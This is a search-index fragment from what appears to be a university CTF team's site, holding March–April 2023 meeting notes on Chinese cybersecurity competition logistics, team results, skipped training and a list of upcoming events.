"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_4","title":"\u6bd4\u8d5b\u94fe\u63a5","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1ahttps://www.dcic-china.com/competitions/10078
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_5","title":"\u6bd4\u8d5b\u65f6\u95f4","text":"\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2023-03-27 00:00:00 - 2023-04-07 00:00:00
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_6","title":"\u8d5b\u4e8b\u673a\u6784","text":"\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u798f\u5efa\u7701\u901a\u4fe1\u7ba1\u7406\u5c40
\u6307\u5bfc\u5355\u4f4d\uff1a\u6570\u5b57\u4e2d\u56fd\u5efa\u8bbe\u5cf0\u4f1a\u7ec4\u59d4\u4f1a
\u627f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u7535\u5b50\u4fe1\u606f\u4ea7\u4e1a\u53d1\u5c55\u7814\u7a76\u9662\u3001\u4e2d\u56fd\u8f6f\u4ef6\u8bc4\u6d4b\u4e2d\u5fc3\u3001\u5de5\u4e1a\u548c\u4fe1\u606f\u5316\u90e8\u6559\u80b2\u4e0e\u8003\u8bd5\u4e2d\u5fc3
\u534f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u8ba1\u7b97\u673a\u884c\u4e1a\u534f\u4f1a\u6570\u636e\u5b89\u5168\u4e13\u4e1a\u59d4\u5458\u4f1a\u3001\u5317\u4eac\u6c38\u4fe1\u81f3\u8bda\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8
\u652f\u6301\u5355\u4f4d\uff1a\u8682\u8681\u96c6\u56e2\u3001\u4e2d\u5b5a\u4fe1\u606f\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001360\u6570\u5b57\u5b89\u5168\u79d1\u6280\u96c6\u56e2\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u957f\u4ead\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u817e\u8baf\u4e91\u8ba1\u7b97\uff08\u5317\u4eac\uff09\u6709\u9650\u8d23\u4efb\u516c\u53f8\u3001\u8fdc\u6c5f\u76db\u90a6\uff08\u5317\u4eac\uff09\u7f51\u7edc\u5b89\u5168\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u4f17\u5b89\u5929\u4e0b\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u65f6\u4ee3\u65b0\u5a01\u4fe1\u606f\u6280\u672f\u6709\u9650\u516c\u53f8
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_7","title":"\u6bd4\u8d5b\u5f62\u5f0f","text":"\u521b\u65b0\u8d5b\u91c7\u7528\u516c\u5f00\u5f0f\u7ade\u8d5b\uff0c\u56f4\u7ed5\u6570\u636e\u5b89\u5168\u6cbb\u7406\uff0c\u53c2\u8d5b\u5355\u4f4d\u63d0\u4ea4\u5b9e\u8df5\u6848\u4f8b\u3002\u8d5b\u4e8b\u5206\u9884\u8d5b\u548c\u51b3\u8d5b\u3002\u9884\u8d5b\u9636\u6bb5\u4e13\u5bb6\u7ec4\u8bc4\u59d4\u5c06\u91c7\u53d6\u8fdc\u7a0b\u767b\u5f55\u6216\u672c\u5730\u5b89\u88c5\u7684\u65b9\u5f0f\u8fd0\u884c\u53c2\u8d5b\u4f5c\u54c1\uff0c\u4f9d\u636e\u8d5b\u4e8b\u4e13\u5bb6\u5236\u5b9a\u7684\u6bd4\u8d5b\u8bc4\u5ba1\u6807\u51c6\u8fdb\u884c\u6253\u5206\uff0c\u6839\u636e\u5f97\u5206\u6392\u540d\u786e\u5b9a\u51b3\u8d5b\u540d\u5355\u3002\u51b3\u8d5b\u91c7\u7528\u7b54\u8fa9\u7684\u5f62\u5f0f\uff0c\u7531\u8d5b\u4e8b\u4e13\u5bb6\u7ec4\u5bf9\u9884\u8d5b\u5165\u56f4\u65b9\u6848\u8fdb\u884c\u8bc4\u5ba1\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_8","title":"\u6570\u5b57\u4e2d\u56fd\u00b7\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u4eba\u624d\u80fd\u529b\u6311\u6218\u8d5b\uff08\u521d\u8d5b\uff09","text":"\u672c\u8d5b\u9053\u4ee5\u5207\u5b9e\u89e3\u6c7a\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u4e2d\u7684\u5b9e\u9645\u95ee\u9898\u4e3a\u76ee\u6807\uff0e\u6709\u529b\u63a8\u52a8\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\uff0c\u53d1\u6325\u6570\u636e\u5b89\u5168\u6280\u672f\u521b\u65b0\u3001\u6210\u679c\u8f6c\u5316\u3001\u4eba\u624d\u57f9\u517b\u7b49\u5178\u578b\u793a\u8303\u5e26\u52a8\u4f5c\u7528\u3001\u63a8\u5e7f\u4f18\u79c0\u7ecf\u9a8c\u548c\u6210\u679c\uff0c\u52a9\u529b\u6211\u56fd\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_9","title":"\u6bd4\u8d5b\u94fe\u63a5","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1a\u6682\u65e0
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_10","title":"\u6bd4\u8d5b\u65f6\u95f4","text":"\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2023-03-06 00:00:00 - 2023-03-22 00:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2023-04-01 00:00:00 - 2023-04-01 00:00:00
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_11","title":"\u8d5b\u4e8b\u673a\u6784","text":"\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u798f\u5efa\u7701\u901a\u4fe1\u7ba1\u7406\u5c40
\u6307\u5bfc\u5355\u4f4d\uff1a\u6570\u5b57\u4e2d\u56fd\u5efa\u8bbe\u5cf0\u4f1a\u7ec4\u59d4\u4f1a
\u627f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u7535\u5b50\u4fe1\u606f\u4ea7\u4e1a\u53d1\u5c55\u7814\u7a76\u9662\u3001\u4e2d\u56fd\u8f6f\u4ef6\u8bc4\u6d4b\u4e2d\u5fc3\u3001\u5de5\u4e1a\u548c\u4fe1\u606f\u5316\u90e8\u6559\u80b2\u4e0e\u8003\u8bd5\u4e2d\u5fc3
\u534f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u8ba1\u7b97\u673a\u884c\u4e1a\u534f\u4f1a\u6570\u636e\u5b89\u5168\u4e13\u4e1a\u59d4\u5458\u4f1a\u3001\u5317\u4eac\u6c38\u4fe1\u81f3\u8bda\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8
\u652f\u6301\u5355\u4f4d\uff1a\u8682\u8681\u96c6\u56e2\u3001\u4e2d\u5b5a\u4fe1\u606f\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001360\u6570\u5b57\u5b89\u5168\u79d1\u6280\u96c6\u56e2\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u957f\u4ead\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u817e\u8baf\u4e91\u8ba1\u7b97\uff08\u5317\u4eac\uff09\u6709\u9650\u8d23\u4efb\u516c\u53f8\u3001\u8fdc\u6c5f\u76db\u90a6\uff08\u5317\u4eac\uff09\u7f51\u7edc\u5b89\u5168\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u4f17\u5b89\u5929\u4e0b\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u65f6\u4ee3\u65b0\u5a01\u4fe1\u606f\u6280\u672f\u6709\u9650\u516c\u53f8
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_12","title":"\u6bd4\u8d5b\u5f62\u5f0f","text":"\u7531\u7406\u8bba\u77e5\u8bc6\u548c\u6280\u80fd\u64cd\u4f5c\u4e24\u90e8\u5206\u7ec4\u6210\u3002\u7406\u8bba\u90e8\u5206\u6db5\u76d6\u653f\u7b56\u6cd5\u89c4\u548c\u6570\u636e\u5b89\u5168\u57fa\u7840\u77e5\u8bc6\uff1b\u6280\u80fd\u64cd\u4f5c\u90e8\u5206\u6db5\u76d6\u6570\u636e\u8bc6\u522b\u3001\u6743\u9650\u63a7\u5236\u3001\u8106\u5f31\u6027\u5206\u6790\u7b49\u65b9\u5411\uff0c\u7efc\u5408\u8003\u5bdf\u53c2\u8d5b\u8005\u4e0d\u540c\u7ef4\u5ea6\u7684\u6570\u636e\u5b89\u5168\u80fd\u529b\u6c34\u5e73\u3002
\u3010\u5b89\u6052\u4fe1\u606f\u3011\u4eb2\u7231\u7684\u53c2\u8d5b\u9009\u624b\uff0c\u60a8\u597d\uff01\u60a8\u62a5\u540d\u7684\u201c2023\u6570\u5b57\u4e2d\u56fd\u521b\u65b0\u5927\u8d5b-\u6570\u5b57\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u6311\u6218\u8d5b\u201d\u5c06\u4e8e2023\u5e743\u670824\u65e5\u8fdb\u884c\uff0c\u8bf7\u60a8\u6309\u65f6\u53c2\u52a0\u3002 \u6bd4\u8d5b\u5730\u5740\uff1ahttps://szzg2023.dasctf.com \u6bd4\u8d5b\u8d26\u53f7\uff1aaq#\u62a5\u540d\u7684\u624b\u673a\u53f7\u540e\u4e03\u4f4d \u6bd4\u8d5b\u5bc6\u7801\uff1aDas#\u624b\u673a\u53f7\u540e\u56db\u4f4d\uff0c\u5982\uff1aDas#1234 \u6bd4\u8d5b\u65f6\u95f4\uff1a\u4e0b\u534813:00-17:00 \u6ce8\u610f\u4e8b\u9879\uff1a\u63a8\u8350\u4f7f\u7528Chrome\u6216\u706b\u72d0\u6d4f\u89c8\u5668\uff0c\u5e76\u8bbe\u7f6e\u5141\u8bb8\u5f39\u51fa\u7a97\u53e3\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#wrap-up","title":"Wrap-up","text":"Last week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 8 and 9 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-06/","title":"CTF Week Meeting 2023-04-06","text":""},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-06/#work-progress-tracking","title":"Work progress tracking","text":"\u3010\u91cd\u8981\u901a\u77e5\u30112022\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u534a\u51b3\u8d5b\u3001\u603b\u51b3\u8d5b\u53ca\u9881\u5956\u5178\u793c\u76f8\u5173\u5b89\u6392
\u5404\u53c2\u8d5b\u9009\u624b\u53ca\u76f8\u5173\u5355\u4f4d\uff1a
2022\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u534a\u51b3\u8d5b\u5c06\u4e8e4\u670814\u65e5\u6b63\u5f0f\u5f00\u5e55\uff0c\u73b0\u5c06\u6bd4\u8d5b\u671f\u95f4\u65e5\u7a0b\u5b89\u6392\u53ca\u6ce8\u610f\u4e8b\u9879\u901a\u77e5\u5982\u4e0b\uff0c\u8bf7\u52a1\u5fc5\u4ed4\u7ec6\u9605\u8bfb\u5e76\u4e25\u683c\u9075\u5b88\uff1a
\u4e00\u3001\u65e5\u7a0b\u5b89\u6392
(\u7565)
\u4e8c\u3001\u9152\u5e97\u63a8\u8350
(\u7565)
1.\u4ee5\u4e0a\u4e3a\u5927\u8d5b\u7ec4\u59d4\u4f1a\u63a8\u8350\u9152\u5e97\uff0c\u8bf7\u53c2\u8d5b\u9009\u624b\u4f9d\u636e\u81ea\u8eab\u60c5\u51b5\u81ea\u884c\u8054\u7cfb\u9152\u5e97\u8fdb\u884c\u9884\u5b9a\uff0c\u8054\u7cfb\u7535\u8bdd\u8be6\u89c1\u4e0a\u8ff0\u8868\u683c\u5185\u5bb9\u3002
2.\u9884\u5b9a\u65f6\uff0c\u62a5\u201c\u7f51\u9f0e\u676f\u53c2\u8d5b\u9009\u624b\u201d\uff0c\u53ef\u4eab\u53d7\u534f\u8bae\u4ef7\u683c\u3002
3.\u8d5b\u4e8b\u6d3b\u52a8\u671f\u95f4\u5165\u4f4f\u9700\u6c42\u91cf\u8f83\u5927\uff0c\u9152\u5e97\u623f\u6e90\u7d27\u5f20\uff0c\u8bf7\u5404\u4f4d\u53c2\u8d5b\u9009\u624b\u5c3d\u91cf\u57284\u67087\u65e5\u524d\u5b8c\u6210\u4f4f\u5bbf\u9884\u8ba2\u3002
4.\u5927\u8d5b\u671f\u95f4\uff0c\u7ec4\u59d4\u4f1a\u5c06\u5728\u63a8\u8350\u9152\u5e97\u9644\u8fd1\u5b89\u6392\u63a5\u9a73\u73ed\u8f66\uff0c\u63a5\u9001\u9009\u624b\u5f80\u8fd4\u8d5b\u573a\u3002
5.\u82e5\u5404\u53c2\u8d5b\u9009\u624b\u9700\u8981\u5f00\u5177\u53d1\u7968\uff0c\u8bf7\u81ea\u884c\u4e0e\u9152\u5e97\u534f\u5546\u3002
\u6ce8* \u5176\u4e2d\u4eb2\u6a59\u5ba2\u6808\u53ea\u80fd\u63d0\u4f9b\u201c\u57f9\u8bad\u53d1\u7968\u201d\uff0c\u8bf7\u5404\u53c2\u8d5b\u9009\u624b\u7559\u610f\u3002
\u4e09\u3001\u6ce8\u610f\u4e8b\u9879
1.\u8bf7\u5404\u53c2\u8d5b\u9009\u624b\u505a\u597d\u4e2a\u4eba\u9632\u62a4\u548c\u4ea4\u901a\u4f4f\u5bbf\u5b89\u6392\uff0c\u4ee5\u4fdd\u8bc1\u53c2\u8d5b\u987a\u5229\u3002\u8bf7\u5404\u53c2\u8d5b\u9009\u624b\u63d0\u524d\u51c6\u5907\u597d\u4e2a\u4eba\u53c2\u8d5b\u5de5\u5177\uff08\u7b14\u8bb0\u672c\u7535\u8111\u3001\u6709\u7ebf\u9f20\u6807\u3001\u6709\u7ebf\u952e\u76d8\u3001U\u76d8\u548c\u7f51\u53e3\u8f6c\u63a5\u5668\u7b49\uff09\uff0c\u4ee5\u53ca\u81ea\u5df1\u719f\u6089\u7684\u53c2\u8d5b\u73af\u5883\u548c\u5e38\u7528\u8f6f\u4ef6\u3001\u5de5\u5177\u3001\u811a\u672c\u7b49\u3002
2.\u8bf7\u5404\u4f4d\u53c2\u8d5b\u9009\u624b\u63d0\u524d\u51c6\u5907\u597d\u7b7e\u5230\u6750\u6599 \uff0c
\u8be6\u7ec6\u8bf4\u660e\u8bf7\u53c2\u89c1\u7f51\u9f0e\u676f\u5b98\u7f51\uff08https://www.wangdingcup.com\uff09\u6216\u7f51\u9f0e\u676f\u5b98\u65b9\u516c\u4f17\u53f7\uff08\u516c\u4f17\u53f7\u540d\uff1a\u7f51\u9f0e\u676f\uff0c\u516c\u4f17\u53f7ID\uff1awangdingcup\uff09\u53d1\u5e03\u7684\u300a2022\u5e74\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u534a\u51b3\u8d5b\u3001\u603b\u51b3\u8d5b\u53ca\u9881\u5956\u5178\u793c\u5b89\u6392\u901a\u77e5\u300b\u4e2d\u9644\u4ef6\u4e00\u5185\u5bb9\u3002
3.\u6bd4\u8d5b\u5f53\u5929\u6240\u6709\u53c2\u8d5b\u9009\u624b\u987b\u643a\u5e26\u8eab\u4efd\u8bc1\u539f\u4ef6\u548c\u53c2\u8d5b\u8bc1\u524d\u5f80\u6bd4\u8d5b\u73b0\u573a\u3002
\u6ce8* \u8fdf\u5230\u8d85\u534a\u5c0f\u65f6\u5c06\u88ab\u7981\u6b62\u5165\u573a\u3002
4.\u6bcf\u4f4d\u53c2\u8d5b\u9009\u624b\u5728\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u4ec5\u5141\u8bb8\u4f7f\u7528\u4e00\u53f0\u7b14\u8bb0\u672c\u7535\u8111\u7b54\u9898\uff0c\u7981\u6b62\u4f7f\u7528\u670d\u52a1\u5668\u7b49\u5927\u529f\u7387\u8bbe\u5907\u3002\u5982\u9700\u4f7f\u7528nuc\u7c7b\u8ff7\u4f60\u4e3b\u673a\uff0c\u6bcf\u961f\u9650\u5236\u6570\u91cf\u4e0d\u8d85\u8fc71\u53f0\u3002
5.\u5982\u6709\u5176\u4ed6\u95ee\u9898\uff0c\u53ef\u62e8\u6253\u7ec4\u59d4\u4f1a\u5de5\u4f5c\u7535\u8bdd\uff1a010-50873883\u3002\u7edf\u4e00\u5de5\u4f5c\u65f6\u95f4\uff1a\u5de5\u4f5c\u65e510:00\u81f318:00\u3002
\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u7ec4\u59d4\u4f1a
2023\u5e744\u6708
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-06/#0x2-guangdong-province-2nd-ctf-arrangement","title":"0x2. Guangdong Province 2nd CTF Arrangement","text":"\u5173\u4e8e\u505a\u597d\u7b2c\u4e8c\u5c4a\u5e7f\u4e1c\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u653b\u9632\u5927\u8d5b\u603b\u51b3\u8d5b\u98df\u5bbf\u5b89\u6392\u7684\u901a\u77e5
(\u89c1\u9644\u4ef6)
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-06/#0x3-skip-the-training-this-week","title":"0x3. Skip the Training this week","text":"The meeting started with a discussion about the upcoming mid-term exams, which many members of the group are preparing for. The group acknowledged that these exams are an important priority and require significant preparation time and effort. Several members expressed concern that they could not attend the training sessions over the weekend due to their exam preparation.
After some discussion, it was proposed that the group skip training for the upcoming weekend to allow members to focus on their exams. The group discussed the potential impact of missing one training weekend and weighed the decision's pros and cons. Ultimately, it was decided that the benefits of allowing members to fully focus on their exams outweighed the potential negative impact of missing one weekend of training.
The group agreed that skipping training for the upcoming weekend was the best decision to allow members to focus on their mid-term exams. The decision was made after a thorough discussion and weighing of the potential impact on the group's training goals. The group will continue to monitor the situation and make adjustments as necessary to ensure that they stay on track with their training.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-06/#wrap-up","title":"Wrap-up","text":"During the meeting, several topics were discussed, including the arrangements for the Wangding Cup and the second Guangdong Province CTF. It was decided that the group would focus on preparing for these events in the coming weeks.
Additionally, it was mentioned that there would be a skip in training for the upcoming weekend. This decision was made to allow members of the group to focus on their personal commitments and responsibilities.
Overall, the meeting was productive and focused on upcoming events and important scheduling decisions.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-20/","title":"CTF Week Meeting 2023-04-20","text":"I want to thank each and every one of you for taking the time to join us today. Your expertise and commitment to this critical area of our competition are essential to our success. I am confident that together we can address any challenges that come our way and ensure the ongoing security of our team.
Let's get started and make the most of this opportunity to share knowledge, ideas, and insights.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-20/#work-progress-tracking","title":"Work progress tracking","text":"Congratulations to the team for achieving an outstanding performance in the Wangding Cup cybersecurity competition! Our team's dedication and hard work have paid off, earning us the 21st place in the Green Dragon Group and the 51st place in the general scoreboard in the semi-final.
Making it to the semi-finals of such a prestigious competition is an incredible accomplishment, and I am proud of your achievements. Your teamwork, problem-solving skills, and technical expertise have all contributed to this success, and I hope that this experience has been a valuable learning opportunity for all of you.
As you move forward from this competition, it's important to remember that there is always room for improvement. While you have achieved great success, there are always areas where you can continue to grow and develop. Whether it's through refining your technical skills or strengthening your teamwork and communication, there are many ways to build upon your success and continue to achieve great things in the future.
I am excited to see where your team goes from here, and I wish you all the best in your future endeavors. Congratulations again on this impressive achievement!
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-20/#0x2-guangdong-province-2nd-ctf-news","title":"0x2. Guangdong Province 2nd CTF News","text":"Congratulations to the winning team of the Guangdong Province University Cybersecurity Competition! The competition was intense, with 502 teams from across the province competing for the top spot, but our team emerged victorious and took home the 1st place trophy.
The success is a testament to your dedication, hard work, and expertise in the field of cybersecurity. The team's ability to tackle complex challenges and overcome obstacles is truly impressive, and you have set an outstanding example for your peers in the industry.
I commend the team for your remarkable achievement and wish you continued success in all your future endeavors. Your win is not only a source of pride for your university but also for the entire province. Congratulations again on this amazing accomplishment!
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-20/#0x3-upcoming-events","title":"0x3. Upcoming Events","text":"QQ Group: 734535934
1 2023\u5e74\u7b2c\u4e03\u5c4a\u201c\u5fa1\u7f51\u676f\u201d\u4fe1\u606f\u5b89\u5168\u5927\u8d5b 2 \u7b2c\u4e03\u5c4a\u201c\u5f3a\u7f51\u676f\u201d\u5168\u56fd\u7f51\u7edc\u5b89\u5168\u6311\u6218\u8d5b 3 2023\u6625\u79cb\u676f\u6625\u5b63\u8d5b 4 ISCC2023\u4e2a\u4eba\u6311\u6218\u8d5b 5 \u963f\u91cc\u4e91CTF 6 \u3010\u6625\u79cb\u4e91\u955c\u3011\u5185\u7f51\u6781\u9650\u6311\u6218\u8d5b 7 \u66f4\u591a\u56fd\u5916\u8d5b\u4e8b\u5173\u6ce8CTFTIME 8 AntCTF X D^3CTF 2023\u9884\u70ed\u8d5b 9 2023DASCTF X SU\u56db\u6708\u6625\u5b63\u6311\u6218\u8d5b 10 \u201c\u5929\u4e00\u6c38\u5b89\u676f\u201d2023\u5b81\u6ce2\u5e02\u7b2c\u516d\u5c4a\u7f51\u7edc\u5b89\u5168\u5927\u8d5b 11 AntCTF X D^3CTF 12 \u5b89\u5168\u7cbe\u82f1\u9009\u62d4\u8d5b 13 2023LitCTF&\u90d1\u5dde\u8f7b\u5de5\u4e1a\u5927\u5b66\u9996\u5c4a\u65b0\u751f\u8d5b 14 2023\u5e74\u7b2c\u4e03\u5c4a\u91d1\u7816\u5927\u8d5b\u2014\u2014\u7f51\u7edc\u5b89\u5168\u5728\u4f01\u4e1a\u4fe1\u606f\u7ba1\u7406\u4e2d\u7684\u5e94\u7528 15 2023\u7b2c\u4e03\u5c4a\u91d1\u7816\u5927\u8d5b\u2014\u2014\u5176\u5b83\u6bd4\u8d5b 16 2023\u5e74\u7b2c\u4e03\u5c4a\u91d1\u7816\u5927\u8d5b\u2014\u2014\u4f01\u4e1a\u4fe1\u606f\u7cfb\u7edf\u5b89\u5168 17 \u7b2c\u5341\u56db\u5c4a\u84dd\u6865\u676f\u5927\u8d5b\u6570\u5b57\u79d1\u6280\u521b\u65b0\u8d5b\u2014\u7f51\u7edc\u5b89\u5168\u6625\u79cb\u6311\u6218\u8d5b 18 \u201c\u76d8\u53e4\u77f3\u676f\u201d\u5168\u56fd\u7535\u5b50\u6570\u636e\u53d6\u8bc1\u5927\u8d5b 19 HDCTF2023 \u6d77\u5357\u5927\u5b66\u7b2c\u56db\u5c4a\u7f51\u7edc\u5b89\u5168\u6280\u80fd \u6311\u6218\u8d5b 20 \u7b2c\u56db\u5c4a\u201c\u957f\u57ce\u676f\u201d\u4fe1\u606f\u5b89\u5168\u94c1\u4eba\u4e09\u9879\u8d5b\u603b\u51b3\u8d5b 21 \u6570\u5b57\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u6311\u6218\u8d5b\u51b3\u8d5b 22 \u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u4eba\u624d\u80fd\u529b\u6311\u6218\u8d5b\u51b3\u8d5b 23 \u7b2c\u4e09\u5c4a\u7ea2\u660e\u8c37\u676f\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u51b3\u8d5b 24 \u7b2c\u516d\u5c4a\u201c\u5f3a\u7f51\u676f\u201d\u9752\u5c11\u5e74\u4e13\u9879\u8d5b\u51b3\u8d5b 25 2022\u5e74\u4e2d\u56fd\u5de5\u4e1a\u4e92\u8054\u7f51\u5b89\u5168\u5927\u8d5b\u5168\u56fd\u603b\u51b3\u8d5b 26 \u7b2c\u4e09\u5c4a\u201c\u7965\u4e91\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u51b3\u8d5b 27 ctfshow\u7b2c\u4e09\u5c4a\u611a\u4eba\u8d5b 28 \u7b2c\u4e09\u5c4a\u7ea2\u660e\u8c37\u676f\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u521d\u8d5b 29 2022\u5e74\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u51b3\u8d5b 30 \u7b2c\u4e03\u5c4aXCTF\u56fd\u9645\u7f51\u7edc\u653b\u9632\u8054\u8d5b\u603b\u51b3\u8d5b 31 hxp CTF 2022 32 2023\u5e7f\u4e1c\u6d77\u6d0b\u5927\u5b66\u7b2c\u96f6\u5c4a\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b 33 PWNHUB\u5185\u90e8\u8d5b 34 PWNHUB\u516c\u5f00\u8d5b 35 NSSCTF Round#11 36 picoCTF 37 2023\u5e74\u7f51\u7edc\u201c\u653b&\u9632\u201d\u6280\u80fd\u5927\u8d5b\u66a8\u7f51\u5b89\u4eba\u624d\u8bc4\u5b9a\u5de5\u7a0b 38 2022\u897f\u6e56\u8bba\u5251\u00b7\u7b2c\u516d\u5c4a\u676d\u5dde\u7f51\u7edc\u5b89\u5168\u6280\u80fd\u5927\u8d5b\u51b3\u8d5b 39 2023\u7b2c\u516d\u671fHWS\u786c\u4ef6\u5b89\u5168\u5728\u7ebf\u51ac\u4ee4\u8425 40 \u7f51\u7edc\u5b89\u5168\u5e73\u53f0\u6d4b\u8bd5\u8d5b
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-20/#wrap-up","title":"Wrap-up","text":"Based on the discussions in the weekly meeting, it is clear that there are several exciting upcoming events in the near future, all of which offer outstanding prizes. As a result, it is important for all members of the team to stay informed and up-to-date on these events and to prepare accordingly if they plan to participate. Additionally, it may be beneficial for the team to consider other similar events or opportunities in order to continue honing their skills and staying competitive in the field. Overall, it is an exciting time for the team and the field as a whole, and everyone should be encouraged to participate and contribute in any way they can.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-27/","title":"CTF Week Meeting 2023-04-27","text":"As we gather today for our meeting, I wanted to take a moment to encourage everyone to approach new ideas and challenges with a willingness to learn and improve. We all have room for growth, and by collaborating and sharing our knowledge and experiences, we can inspire one another and propel ourselves to new heights. Let us embrace this opportunity to explore and expand our abilities, and work together towards our common goals.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-27/#work-progress-tracking","title":"Work progress tracking","text":"\u4e94\u3001\u62a5\u540d\u987b\u77e5
\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b\u7684\u7f51\u4e0a\u62a5\u540d\u8d77\u6b62\u65f6\u95f4\u4e3a\uff1a2023\u5e744\u67087\u65e5\u81f32023\u5e746\u670812\u65e524\u65f6\u3002
\u5404\u9ad8\u6821\u5728\u6536\u5230\u672c\u53c2\u8d5b\u901a\u77e5\u540e\uff0c\u57285\u670831\u65e5\u524d\uff0c\u6307\u5b9a1\u4f4d\u8001\u5e08\u4f5c\u4e3a\u8054\u7edc\u4eba\uff08\u8054\u7edc\u4eba\u987b\u4e3a\u9ad8\u6821\u9886\u961f\uff09\uff0c\u8d1f\u8d23\u672c\u6821\u7ade\u8d5b\u76f8\u5173\u4e8b\u5b9c\uff0c\u5e76\u5728\u7ade\u8d5b\u7f51\u7ad9\u4e0a\u4e0b\u8f7d\u201c\u9ad8\u6821\u8054\u7edc\u6559\u5e08\u767b\u8bb0\u8868\u201d\uff08\u89c1\u9644\u4ef61\uff09\uff0c\u6309\u8981\u6c42\u586b\u5199\u8be5\u8001\u5e08\u4fe1\u606f\uff0c\u901a\u8fc7\u7535\u5b50\u90ae\u4ef6\u53d1\u9001\u7ed9\u7ec4\u59d4\u4f1a\u79d8\u4e66\u5904\uff08\u542b\u7535\u5b50\u7248\u548c\u76d6\u7ae0\u7eb8\u8d28\u7248\u7684\u626b\u63cf\u4ef6\uff09\u3002
